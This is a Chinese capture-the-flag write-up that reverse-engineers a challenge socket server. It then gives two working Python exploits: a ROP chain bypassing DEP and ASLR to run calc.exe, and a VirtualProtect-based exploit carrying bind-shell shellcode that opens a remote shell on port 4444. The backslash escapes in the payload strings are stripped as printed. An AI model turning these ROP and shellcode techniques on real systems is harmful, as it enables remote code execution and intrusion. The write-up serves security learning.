NSCTF2015 逆向第五题分析

这道题目我没有写出Exploit,因为编码时候里面几个细节处理出错。但对程序的逆向分析已完成,这里就学习一下别人写Exploit的思路。主要参考:绿盟科技网络攻防赛资料下载

0x01 题目要求

题目要求如下:

1.找出Exploit.exe中的漏洞。简单分析漏洞的成因,包括漏洞类型、相关的反汇编或伪C代码以及说明信息等。

2.在开启DEP+ASLR的系统里运行Exploit.弹出计算器。

0x02 漏洞分析

首先脱掉ASPack壳,OEP如下:

使用IDA分析,发现这是一个Socket server程序,监听在2994端口。支持三个命令:ENCRYPT、STATUS和EXIT

main函数中大都是Socket的逻辑代码,其中重点需要关注这2个函数:ShellExecuteA()和sub_401120()。

以下是sub_401120()函数主要代码:

观察发现,STATUS命令的处理中打印了内存地址,存在一处Information Leakage漏洞。

接下来分析ENCRYPT命令的处理逻辑,即sub_401120()函数,它主要调用sub_401030()函数,我们将其重命名为encrypt()

encrypt()函数做了两件事,一是使用rand()函数产生一个随机字符数组keys,二是将传入数据与keys异或后拷贝给大小为200bytes的栈内存。

而我们可以传入的数据最长可以是0XFFFF,显然超过200字节,因此这里会造成栈溢出。

0x03 漏洞利用Exploit

由于题目要求在开启DEP+ASLR的系统上成功执行Exploit,因此想到两种利用方法,一是通过VirtualProtect()关闭DEP,栈上注入shellcode执行。二是构造ROP链绕过ASLR+DEP。

无论哪种利用方法,首先要解决的问题是,我们传入的数据都会被encrypt()函数加密,也就是与keys的异或操作,而keys又是通过rand()随机生成。因此输入的数据首先要进行逆编码。好消息是,这里使用的rand()是以时间作种子的伪随机,其值可以预测。

方法二、ROP Bypass ASLR+DEP

下面代码是第二种,通过ROP实现的Exploit(学习作者思路时稍有修改):

import socket
import telnetlib
import struct
from time import time
from subprocess import *

s = socket.socket()
s.connect(('127.0.0.1', 2994))
f = s.makefile('rw', bufsize=0)

welcom = s.recv(1000)
print welcom

#0X00
seed = time()
out = check_output("rand.exe {}".format(int(seed)), shell = True)
tmp_1 = out[:-1].split(',')
keys = list()
for i in tmp_1:
    tmp_2 = i.split(' ')
    tmp_3 = tmp_2[1]
    tmp_3 += tmp_2[0]
    tmp_4 = int(tmp_3, 16)
    keys.append(tmp_4)

#0X01
s.send("STATUS
")
text = s.recv(1000)[-11:]
text = int(text, 16)
print ' + GET ADDRESS ' + hex(text)

#0X02
payload = ""
payload_1 = "x00" * 512
payload_1 += struct.pack('I', text + 0x1001) # mov eax, esp; ret
payload_1 += struct.pack('I', text + 0x1284) # push 5ACH (_sprintf_s())
for i in range(len(payload_1)/4):
    payload += struct.pack('I', struct.unpack('I', payload_1[i*4:i*4+4])[0] ^ keys[i & 0x1F])

s.send("ENCRYPT x08x02{}".format(payload))
esp = s.recv(1000)[-11:]
esp = int(esp, 16)
target = esp + 0x1A     #why 0x1A?
print ' + GET ADDRESS ' + hex(target)

#0X03
payload = "calc.exex00x00x00x00"
payload_2 = "x00" * 500
payload_2 += struct.pack('I', text + 0x153B)    #stack of ShellExcuteA()
payload_2 += struct.pack('I', target)
payload_2 += "x00x00x00x00"
payload_2 += "x00x00x00x00"
payload_2 += "x05x00x00x00"

for i in range(len(payload_2)/4):
    payload += struct.pack('I', struct.unpack('I', payload_2[i*4:i*4+4])[0] ^ keys[(i+3) & 0x1F])

print ' + EXPLOITING...'
s.send("ENCRYPT x14x02{}".format(payload))
s.recv(1000)

由于Python的rand()函数与Windows库函数实现不一样,因此要调用C库函数。这里作者没有将其集成到Exploit代码里,而是写了一个C程序,通过命令行与之通信:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) 
{
	int i;
	char out[10000];
	char tmp[100];
	unsigned long int seed;
	seed = atol(argv[1]);
	srand(seed);
	for (i = 0; i < 32; i++) {
		sprintf(tmp, "%04x %04x,", rand(), rand());
		strcat(out, tmp);
	}
	printf("%s", out);
	return 0;
}

以上利用过程分3步:

1.通过STATUS泄漏程序基地址,后面构造ROP Gadgets时可以通过它直接对指令寻址。

2.通过STATUS泄漏ESP地址。通过分析GetModuleHandleA代码可知道,其返回值存储于eax寄存器,而代码中又有一处mov esi, eax. 因此只要执行一段mov eax, esp; retn或mov esi, esp; retn 的Gadgets,然后跳转到push 5ACh处执行,就可以实现泄漏ESP的地址。

通过观察发现,helper()函数中恰有此指令。

3."calc.exe"字符串入栈,并重构ShellExecuteA函数栈,完成利用。

溢出后跳转到.text:0040153B处执行,其中ShellExecuteA函数后4个参数,由我们在栈上提供。

方法一、VirtualProtect关闭DEP

第一种方法中,helper(void)函数中提供了一处VirtualProtect指令可供使用:

贴一个关闭DEP利用的思路,来自@Chu同学:

#coding: utf-8

from pwn import *

HOST = sys.argv[1]


conn = remote(HOST, 2994)
conn.newline = "
"

# get header
conn.recv()

# get addr
log.info("try to get the base addr")
conn.sendline("STATUS")
base = int(conn.recv().strip()[-10:], 16)
log.success("base addr => {}".format(hex(base)))

# first encrypt, to get the table
log.info("send the first packet, try to get the table")
conn.sendline("ENCRYPT x80x00" + "A"*0x80)
conn.recv(3)
table_enc = conn.recv(0x80)
table = []
for c in table_enc:
    table.append(ord(c)^ord('A')) 
log.success("Table:")
for c in table: 
    print hex(c),
print

# second encrypt, exploit!
log.info("send the second packet, try to exploit it")
payload = "A" * 512

# save esp to eax, ebx
payload += pack(base+0x1001)
payload += pack(base+0x1004)

# point ebx to shellcode
payload += pack(base+0x1015)
payload += pack(base+0x1015)
payload += pack(base+0x1015)
payload += pack(base+0x1015)
payload += pack(base+0x1015)

# point eax to parameter1
payload += pack(base+0x100e)
payload += pack(base+0x100e)
payload += pack(base+0x100e)
payload += pack(base+0x100e)
payload += pack(base+0x100e)
payload += pack(base+0x3814)
payload += pack(0x4)
payload += pack(base+0x5c0a)

# modify parameter 1
payload += pack(base+0x1007)

# point eax to ret addr & modify ret
payload += pack(base+0x100a)
payload += pack(base+0x1007)

# call VirtualProtect
payload += pack(base+0x101b)

payload += "AAAA"
payload += "BBBB"
payload += pack(0x200)
payload += pack(0x40)
payload += pack(0x00010000)
payload += "x90" * 200

# shellcode for bind shell
payload += "xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8b"
payload += "x50x30x8bx52x0cx8bx52x14x8bx72x28x0fxb7"
payload += "x4ax26x31xffxacx3cx61x7cx02x2cx20xc1xcf"
payload += "x0dx01xc7xe2xf2x52x57x8bx52x10x8bx4ax3c"
payload += "x8bx4cx11x78xe3x48x01xd1x51x8bx59x20x01"
payload += "xd3x8bx49x18xe3x3ax49x8bx34x8bx01xd6x31"
payload += "xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03x7d"
payload += "xf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66"
payload += "x8bx0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0"
payload += "x89x44x24x24x5bx5bx61x59x5ax51xffxe0x5f"
payload += "x5fx5ax8bx12xebx8dx5dx68x33x32x00x00x68"
payload += "x77x73x32x5fx54x68x4cx77x26x07xffxd5xb8"
payload += "x90x01x00x00x29xc4x54x50x68x29x80x6bx00"
payload += "xffxd5x6ax08x59x50xe2xfdx40x50x40x50x68"
payload += "xeax0fxdfxe0xffxd5x97x68x02x00x11x5cx89"
payload += "xe6x6ax10x56x57x68xc2xdbx37x67xffxd5x57"
payload += "x68xb7xe9x38xffxffxd5x57x68x74xecx3bxe1"
payload += "xffxd5x57x97x68x75x6ex4dx61xffxd5x68x63"
payload += "x6dx64x00x89xe3x57x57x57x31xf6x6ax12x59"
payload += "x56xe2xfdx66xc7x44x24x3cx01x01x8dx44x24"
payload += "x10xc6x00x44x54x50x56x56x56x46x56x4ex56"
payload += "x56x53x56x68x79xccx3fx86xffxd5x89xe0x4e"
payload += "x56x46xffx30x68x08x87x1dx60xffxd5xbbxf0"
payload += "xb5xa2x56x68xa6x95xbdx9dxffxd5x3cx06x7c"
payload += "x0ax80xfbxe0x75x05xbbx47x13x72x6fx6ax00"
payload += "x53xffxd5"

# xor payload
offset = ''
for i in xrange(len(payload)):
    offset += chr(ord(payload[i])^table[i%128])
conn.sendline('ENCRYPT xf0x08'+offset)

# close the connection
conn.close()

# interact
conn = remote(HOST, 4444)
log.success("enjoy!")
conn.interactive(prompt="")
conn.close()
原文地址:https://www.cnblogs.com/gm-201705/p/9864093.html